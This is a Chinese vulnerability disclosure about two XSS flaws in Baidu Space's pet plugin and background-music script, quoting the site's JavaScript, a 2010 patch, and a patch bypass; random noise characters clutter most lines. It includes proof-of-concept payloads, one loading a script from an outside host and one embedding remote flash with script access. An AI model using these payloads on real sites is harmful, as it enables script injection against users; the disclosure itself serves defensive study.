百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. . _) f+ l& t, Z/ Z
5 j+ C) c$ m7 \' j1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 8 N% |# H8 y' a
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 8 ~ X# S( z5 F( z1 X3 s
+ y) s7 g' d7 M6 E- U8 J# O6 I4 Z
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
1 b7 J$ y. A$ _其中BdUtil.insertWBR为
& i& O. I) v7 M) i/ {function(text, step) { 4 K9 U$ T$ ^2 V& E8 v8 ?5 A
var textarea = textAreaCache || getContainer();
* O' `9 R2 i3 } if (!textarea) {
+ V& U- I* ]; E return text;
$ G- V) l8 w4 s E' | } 4 o1 t- o% |/ n; o5 y* Q
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
7 |. R6 N3 {% |. [8 x' h var string = textarea.value;
/ a6 c7 A; a' |9 ]2 P1 ? var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
( |7 h* D8 ^4 O+ I' w5 y. a2 ^$ |8 w var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
9 c1 K& p( ~6 g# l9 K return result; , [ K j5 a; b3 T1 V: X0 |
} $ A- U& c. X1 n6 m
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 0 z1 A1 r" G3 }, [
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 5 `, P# q0 B; t# K9 O, X
& n: q9 L, q! Y
二:creatbgmusic() Dom-Xss Bug / U1 r2 a0 |! Y2 ] J% L9 X* `
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 $ l# R5 \1 z" q% C& B( G; }5 E
1 e3 k6 h; ^# H& @5 C f; @
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 0 [" u$ Y; ?4 p% W2 S- R/ W4 O
! q4 T2 N! Z; o0 u1 {: bfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { $ C" d: @3 M% U) [2 I
//传入的murl赋值到bgmusic1和bgmusic2中
9 l, y7 m, C+ O' b& t //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 " K; Z2 i. O6 s/ c$ c
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; " b. {5 k9 B$ \# \; D
if (musicnum <= 1) { 1 p8 j) k; ~0 i
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
. R N) n, r. c; z3 y0 J6 N } 2 n& b7 B5 O3 N% G; q
bgmusic1 += "</OBJECT>";
8 D& o6 ^2 H/ d var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; & O$ a8 ^. R3 W! T/ B6 Z
if (musicnum <= 1) {
0 w0 q# G6 v$ R2 ] bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ; W* N" s3 Y" S, D' S- w
} ; ]* O# N0 d/ E
bgmusic2 += "> </EMBED>";
" u5 ]$ n+ M+ u5 o" X I3 m var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 4 H6 o! q! f% G* H& }5 c8 m; M
var bgmus = detectWMP();
4 _4 [ ]1 N; c* {* c6 C if (functype == "FckMusicHelper") {
9 Y( J1 s, I, T% [- x! s7 z if (bgmus.installed) {
1 i3 @' I# N W if (bgmus.type == "IE") { * g! q1 ~& b5 O( y& i# j
return bgmusic1;
- F; J7 S9 G5 [- C/ L9 i } else if (bgmus.type == "NS") { 2 P4 w5 x4 M, y& h$ | m
return bgmusic2;
; ~8 A: ~* S* S9 N% Y4 C }
6 H( F" O! | |( Y } else { $ e7 O- `7 I2 `6 X p M& f
return bgmusic3;
& I$ Y4 ~5 V |' R$ ~ }
9 }5 ?2 W4 e6 c' @# |: Z' k |( q5 Z } else { . D+ o1 u/ a: K# R- K
if (bgmus.installed) { 6 q' v' b; s6 p7 H! R, Q/ R
//document.write 直接输出bgmusic变量 导致xss 2 z' W; k C1 u6 j: ~9 ~) W+ V
if (bgmus.type == "IE") {
4 e0 J; p8 l' f2 g' D5 c9 y document.write(bgmusic1); 5 x7 d b/ R6 I2 j M3 E
} else if (bgmus.type == "NS") { ! H7 h( U% F9 F0 p8 W" L
document.write(bgmusic2);
/ i% ]. V& U+ B1 r8 ]9 b } $ K/ l+ M! T8 \
} else {
8 A$ _( j0 t8 c7 w' H document.write(bgmusic3); 1 [" m/ {! y2 q
}
9 l5 L- T/ D! \+ {, z return "";
6 j' x1 L4 n5 t! ~# h0 t } ( c+ K# K3 p4 K7 I: k
}
6 |$ K1 A; B' j! w+ d! {
7 v" {8 X% ?) B" L/ {, M \- V3 l( B在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: # a# `9 B5 h1 W, V
! B+ a9 X8 a( C) Y7 ~2 ofunction initBlogTextForFCK(){
9 Q z- B/ ~) s8 i' H//fck init music ; _) C: ]0 R4 D% x8 V& l- ~
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
8 v/ K) I, X D K0 b& a4 ovar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 5 a/ }5 f" d e+ n
var isAutoPlay=true;
5 Y8 z- d6 n, _! E' P3 L2 Bfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. / {! s) m! }0 ]1 u
var img=imgBox; $ c9 U' ] o% D) ^
if(img.getAttribute(’rel’)){ 0 V- z2 v: \8 ?: ^
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
3 T1 p4 w6 J1 }: m" B, u) {. f6 @ var musicDiv = document.createElement("SPAN");
4 P+ {3 E3 r! O1 `6 i var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
2 e1 h# }% G7 j
: J) t+ Q/ A( i* u8 R ..........................
L+ F) Z/ d4 M& M" v- r2 a 1 A/ c# v2 [5 m$ D) I& D, M" R; ^; Y
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
* r- j: Q+ s, l, |, e0 }8 z b var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 8 q2 g' P" w& e4 S5 T
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
@$ p8 i& k: Z8 B0 z musicDiv.innerHTML=shtml;
2 I# a$ M) v F& K" L& K i--;n--;
8 D& [; _ F. x) }8 ~& S } 4 k# M; E7 e+ r
} , \# L* B: F( T# ^7 q3 Q! p; o
) }: m- {1 s* y2 b+ ]从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. $ @+ y5 X; m* {) g& ^
{4 M4 i) B- ~1 s" E( E6 z测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> # v* G8 v; T. t+ C; x2 \4 z1 O
" i( s9 N8 ^( k6 P( x等待官方补丁 ; s8 v4 {& V d+ G% a2 G/ {# R4 h
# E; Q9 H9 J' u4 E4 t- ]update 2010年5月13日
. V7 Q. W0 P& ^! ?$ _4 `3 W1 W' U
" s4 Y7 U7 u) f: F1 J官方补丁: 3 P4 u# s" w/ v% c1 P# E
( S+ A) s1 S* Q5 V G3 Ovar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 0 O$ h) ]. _* [ L7 \0 c% n
改为: 4 ?7 d) a2 J" I5 \
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 3 L' v; Y: Z8 n, `+ _4 l
2 t3 T- C' e& M) n0 h) ?
update 2010年5月13日 21:50:37 3 ^+ p! J. `: x
% k% m" U) Z- M2 V1 i; g补丁存在漏洞 没有过滤" 可以继续跨:
o0 `7 n9 w* v" B: N# a! P
) }1 r* i0 ~- u# q6 ?NEW POC:
! p% S0 t. }6 A# F% _6 V J7 u7 k) F P% m, c( }- k" H# K) p' ]3 @1 Y
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" + W }$ k, @9 ^2 n
$ Z: S0 G8 _+ p: v0 ~3 \5 I/ s9 hallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
2 T0 J/ q4 _: W+ Z, b3 l
( H7 f$ E7 G4 C3 F' P# ^ |